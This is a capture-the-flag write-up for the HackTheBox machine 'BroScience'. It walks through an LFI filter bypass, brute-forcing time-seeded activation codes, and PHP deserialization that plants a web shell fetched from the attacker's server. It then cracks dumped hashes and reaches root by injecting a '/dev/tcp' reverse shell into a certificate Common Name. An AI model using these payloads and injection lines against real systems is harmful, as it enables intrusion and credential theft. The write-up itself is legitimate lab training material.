Contents

🕵️ HTB-Writeup : BROSCIENCE

Introduction

Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.

BroScience is an Medium Linux machine.

External Recon

Let’s do some recon !

Nmap scan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ nmap 10.10.11.195 -T4 -A -p- -Pn 
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: BroScience : Home
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here we face a linux machine with an HTTP/HTTPS web server. IP address redirect to the domain broscience.htb, we can add it to /etc/hosts file.

Website recon

Website is running Apache version 2.4.54. As the website is using HTTPS, we can retrive the administrator email address on the certificate: administrator@broscience.htb.

On the index we can see 8 articles that can be reach using the article ID: https://broscience.htb/exercise.php?id=1. Maybe LFIs are possible.

drawing

There is also a login page at https://broscience.htb/login.php. We can create an account on the website.

On each article, there is a comment section where users can post comment. From the comment section and article author we discover 4 users:

All accounts are enabled and only administrator has admin privileges.

Subdomains fuzzing

I tried using ffuf to discover some new subdomains.

1
└─$ ffuf -w /usr/share/wordlists/subdomains-top1mil.txt -H "Host: FUZZ.broscience.htb" -u http://10.10.11.195 -fc 301 -t 200

But I can’t find any.

Searching for article or users

Again, using ffuf, I tried to enumerate articles and users. To do so, I create a liste of number from 1 to 500 and tried all IDs of both pages:

  • https://broscience.htb/user.php
  • https://broscience.htb/exercise.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# enumerate articles
└─$ ffuf -w enum.txt -u "https://broscience.htb/exercise.php?id=FUZZ" -fs 1320,1330
1   [Status: 200, Size: 4455, Words: 1668, Lines: 72, Duration: 112ms]
2   [Status: 200, Size: 2764, Words: 808, Lines: 48, Duration: 101ms]
3   [Status: 200, Size: 3537, Words: 1194, Lines: 58, Duration: 78ms]
4   [Status: 200, Size: 3428, Words: 1169, Lines: 58, Duration: 113ms]
5   [Status: 200, Size: 2791, Words: 811, Lines: 48, Duration: 57ms]
6   [Status: 200, Size: 3466, Words: 1174, Lines: 58, Duration: 72ms]
7   [Status: 200, Size: 2812, Words: 815, Lines: 48, Duration: 86ms]
8   [Status: 200, Size: 3507, Words: 1186, Lines: 58, Duration: 84ms]

# enumerate users
└─$ ffuf -w enum.txt -u "https://broscience.htb/user.php?id=FUZZ" -fs 1307,1330 
1   [Status: 200, Size: 1992, Words: 720, Lines: 46, Duration: 258ms]
2   [Status: 200, Size: 1964, Words: 720, Lines: 46, Duration: 218ms]
3   [Status: 200, Size: 1973, Words: 720, Lines: 46, Duration: 234ms]
4   [Status: 200, Size: 1963, Words: 720, Lines: 46, Duration: 235ms]
5   [Status: 200, Size: 1969, Words: 720, Lines: 46, Duration: 248ms]

Here, we don’t find any new articles but we find a new user with ID 5 ! The user is:

Account creation

Finally, I tried to create an account but it need to be activated from the link sent in email.

drawing

The page used to activate an account is https://broscience.htb/activate.php, but we need to provide the activation code.

Directory enumeration

Using dirbuster I found some directories.

drawing

Path to the user

Trying to bruteforce the login form

First, I try to bypass the authentication using SQL injections but it failed :(

Then, as we have some user I try to bruteforce there login using common passwords. But as SQL injection it failed.

Trying LFI

Then, I tried LFI on the id= parameters of exercise.php & user.php but we get an ID error.

I discovered that images are get from img.php in the includes directory. I tried LFI on the path= parameter.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /includes/img.php?path=..%2flogin.php HTTP/1.1

HTTP/1.1 200 OK
Date: Wed, 25 Jan 2023 21:37:29 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 30
Connection: close
Content-Type: text/html; charset=UTF-8

<b>Error:</b> Attack detected.

But we get an error: Attack detected. So LFI works here, we just need to find a way to bypass the filter.

Exploiting the LFI

Checking at Hacktricks LFI bypass I found that double encoding is working.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
└─$ curl --insecure "https://broscience.htb/includes/img.php?path=..%252flogin.php"
<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

[...]

We can now get all source code. At this point I manage to try to find how activation code are generated to try to bruteforce our own code.

:mag_right: Complete php files can be found in appendix

First, I check the register.php file. The creation of the activation code are made from the generate_activation_code() function that is present on the utils.php file.

1
2
3
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();

Retrieving the code from utils.php page.

1
2
3
4
5
6
7
8
9
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

So activation code is 32 characters long. It is composed of letters and numbers only. The srand(time()) function is used to initialise the random number generator with a random value, here the machine’s system time. Then, it takes one character from the list 32 times.

I also check the db_connect.php file.

1
2
3
4
5
6
7
8
└─$ curl --insecure "https://broscience.htb/includes/img.php?path=..%252fincludes%252fdb_connect.php"
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

Here, we get several interesting informations:

  • Database name: broscience
  • Database user: dbuser
  • Database password: RangeOfMotion%777
  • Salt: NaCl

We can also get the /etc/passwd file.

1
2
3
4
5
└─$ curl --insecure "https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd" 
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[...]

Generate an activation code

The rand() function is not secure. If we enter the same integer in the srand() function we will be able to recreate the same activation code by running the same code. I generate a list of activation code using a range of time on srand().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
$file = fopen("brute.txt","a",1);
for ($y = 1674686000; $y < 1674696000; $y++) {
	srand($y);
	$activation_code = "";
	for ($i = 0; $i < 32; $i++) {
		$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
	}
	fwrite($file,$activation_code.PHP_EOL);
}

Going back at register.php we found that activation code can be validated with the code= parameter.

1
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

We can take our list and try to bruteforce activation code.

1
└─$ ffuf -w brute.txt -u "https://broscience.htb/activate.php?code=FUZZ" -t 200 -fs 1256

Then I tried to connect into the account and it works! We can now send comments on posts. We also have a theme button that can switch between dark and white theme.

Deserialization attacks

The set_theme() function of utils.php that is use while changing theme on the website is vulnerable to deserialization attacks. The issue is that the set_theme() function takes an arbitrary user-supplied value, which is passed to the UserPrefs class and then serialized and stored in a cookie. An attacker could craft a malicious UserPrefs object and pass it to the set_theme() function, which would be deserialized and executed on the server.

But I didn’t make it. The AvatarInterface class also seems to be vulnerable. The AvatarInterface class has a __wakeup() method which is executed when the class is deserialized, which in turn creates an instance of the Avatar class, and calling the save() method with a user-supplied $tmp variable, which could allow an attacker to overwrite any file on the server with the contents of a file specified by the $tmp variable.

  1. I create locally a php-reverse-shell file. I use the pentestmonkey php reverse-shell. Then, I open a python server.
  2. Then, I create the following php file:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$payload = new AvatarInterface();
$payload->tmp = 'http://10.10.16.9:8000/cmd.php';
$payload->imgPath = '/var/www/html/cmd.php';
$payload = base64_encode(serialize($payload));
print($payload);

TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMDoiaHR0cDovLzEwLjEwLjE2Ljk6ODAwMC9jbWQucGhwIjtzOjc6ImltZ1BhdGgiO3M6MjE6Ii92YXIvd3d3L2h0bWwvY21kLnBocCI7fQ==

This one:

  • creates an instance of the AvatarInterface class;
  • set the tmp variable to the address of my reverse-shell file (the pentestmonkey php reverse-shell file);
  • set the imgPath variable to the path where the file will be written;
  • serialize and base64 encode.
  1. We send our payload in the user-prefs header using curl or Burp (be sure to be logged)
1
2
3
4
5
GET /index.php HTTP/1.1
Host: broscience.htb
Cookie: PHPSESSID=ipefdpjh2o8uklsu7qbhkjdbns; user-prefs=Tzo4OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6MjA6Ijw%2fcGhwIGZpbGVfcHV0X2NvbnRlbnRzKCdjb25maWcucGhwJywgJzw%2fcGhwIGVjaG8gc2hlbGxfZXhlYygkX0dFVFsnY21kJ10pOz8%2bJyk7ID8%2bIjt9
[...]
Connection: close

Our file is now saved on the machine at /var/www/html/cmd.php.

  1. Open a listener on the attacking machine (listen on the port set in the reverse-shell)
  2. Browse into the saved file at https://broscience.htb/cmd.php

And you should get a reverse shell !

drawing

Path to privesc

Path to bill

Database dumping

Now that we are in, we should connect into the database using credentials found earlier: dbuser:RangeOfMotion%777

1
2
3
4
5
6
7
8
www-data@broscience:/$ psql -h localhost -U dbuser -d broscience -p 5432
Password for user dbuser: RangeOfMotion%777

psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

broscience=> 

Then, we check tables and try to found password or hashes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# list tables
broscience=> \d

 Schema |       Name       |   Type   |  Owner   
--------+------------------+----------+----------
 public | comments         | table    | postgres
 public | comments_id_seq  | sequence | postgres
 public | exercises        | table    | postgres
 public | exercises_id_seq | sequence | postgres
 public | users            | table    | postgres
 public | users_id_seq     | sequence | postgres

broscience=> selectselect * from users;

 id |   username    |             password             |            email             |         activation_code          | is_activated | is_admin |         date_created          
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04

Crack hashes

We got hashes of users. We know that they are saved using MD5 + salt: md5($db_salt . $_POST['password']). We can use hashcat to crack those. We found the salt in the db_connect.php file. It is NaCl.

Hash list

1
2
3
4
5
15657792073e8a843d4f91fc403454e1:NaCl
13edad4932da9dbb57d9cd15b66ed104:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl
5d15340bded5b9395d5d14b9c21bc82b:NaCl

Crack the hash using hashcat:

1
2
3
4
└─$ hashcat -a 0 -m 20 hash /usr/share/wordlists/rockyou.txt --quiet
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym       # This is bill
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest        # This is dmytro
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples     # This is michael

We can now connect as bill into SSH. We can get the user flag :)

1
2
bill@broscience:~$ cat user.txt
************************46f081c1

Path to root

Local recon

I run a linpeas.sh scan. But I can’t find any interesting information at first sight. There is not local service running. bill can’t use sudo command on the machine. I only find a bash script at /opt/renew_cert.sh owned by root.

I manage to upload a pspy binary on the server to see if they are commands that are executed from root user in background.

1
2
3
4
bill@broscience:/tmp$ ./pspy32

2023/01/26 17:02:02 CMD: UID=0     PID=1731   | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
2023/01/26 17:02:02 CMD: UID=0     PID=1730   | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt 

Interesting, root is running the script. Inspecting the script we found that a command injection can be done on the certificate Common Name field.

I reuse the command use by the script to generate a certificate and I inject a reverse shell bash code on the Common Name field.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
bill@broscience:~/Certs$ openssl req -x509 -newkey rsa:2048 -keyout broscience.key -out broscience.htb -days 365 -nodes
Generating a RSA private key
.............................
writing new private key to 'broscience.key'
[...]
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(/bin/sh -i >& /dev/tcp/10.10.16.5/5555 0>&1)
Email Address []:

Then, I opened up a listener on my machine and wait root to execute the script.

1
2
3
4
5
6
7
8
9
└─$ rlwrap nc -lvnp 5555
listening on [any] 5555 ...
id
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.195] 60412
/bin/sh: 0: can't access tty; job control turned off
# uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
***************************ae812

We can get the root flag :)

Appendix

register.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
    // Check if variables are empty
    if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
        // Check if passwords match
        if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
            // Check if email is too long
            if (strlen($_POST['email']) <= 100) {
                // Check if email is valid
                if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
                    // Check if username is valid
                    if (strlen($_POST['username']) <= 100) {
                        // Check if user exists already    
                        include_once 'includes/db_connect.php';

                        $res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
                        $res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
                        
                        if (pg_num_rows($res) == 0) {
                            // Check if email is registered already
                            $res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
                            $res = pg_execute($db_conn, "check_email_query", array($_POST['email']));

                            if (pg_num_rows($res) == 0) {
                                // Create the account
                                include_once 'includes/utils.php';
                                $activation_code = generate_activation_code();
                                $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
                                $res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));

                                if (pg_num_rows($res) == 0) {
                                    $res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
                                    $res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

                                    // TODO: Send the activation link to email
                                    $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

                                    $alert = "Account created. Please check your email for the activation link.";
                                    $alert_type = "success";
                                } else {
                                    $alert = "Failed to generate a valid activation code, please try again.";
                                }
                            } else {
                                $alert = "An account with this email already exists.";
                            }
                        }
                        else {
                            $alert = "Username is already taken.";
                        }
                    } else {
                        $alert = "Maximum username length is 100 characters.";
                    }
                } else {
                    $alert = "Please enter a valid email address.";
                }
            } else {
                $alert = "Maximum email length is 100 characters.";
            }
        } else {
            $alert = "Passwords do not match.";
        }
    } else {
        $alert = "Please fill all fields in.";
    }
}

activate.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

if (isset($_GET['code'])) {
    // Check if code is formatted correctly (regex)
    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
        // Check for code in database
        include_once 'includes/db_connect.php';

        $res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
        $res = pg_execute($db_conn, "check_code_query", array($_GET['code']));

        if (pg_num_rows($res) == 1) {
            // Check if account already activated
            $row = pg_fetch_row($res);
            if (!(bool)$row[1]) {
                // Activate account
                $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
                $res = pg_execute($db_conn, "activate_account_query", array($row[0]));
                
                $alert = "Account activated!";
                $alert_type = "success";
            } else {
                $alert = 'Account already activated.';
            }
        } else {
            $alert = "Invalid activation code.";
        }
    } else {
        $alert = "Invalid activation code.";
    }
} else {
    $alert = "Missing activation code.";
}

utils.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));

    $units = array
    (
        "year"   => 29030400, // seconds in a year   (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"   => 604800,   // seconds in a week   (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"   => 3600,     // seconds in an hour  (60 minutes)
        "minute" => 60,       // seconds in a minute (60 seconds)
        "second" => 1         // 1 second
    );

    $diff = abs($from - $to);

    if ($diff < 1) {
        return "Just now";
    }

    $suffix = (($from > $to) ? ("from now") : ("ago"));

    $unitCount = 0;
    $output = "";

    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }

    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));

    return $output;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
		$this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

renew_cert.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;
fi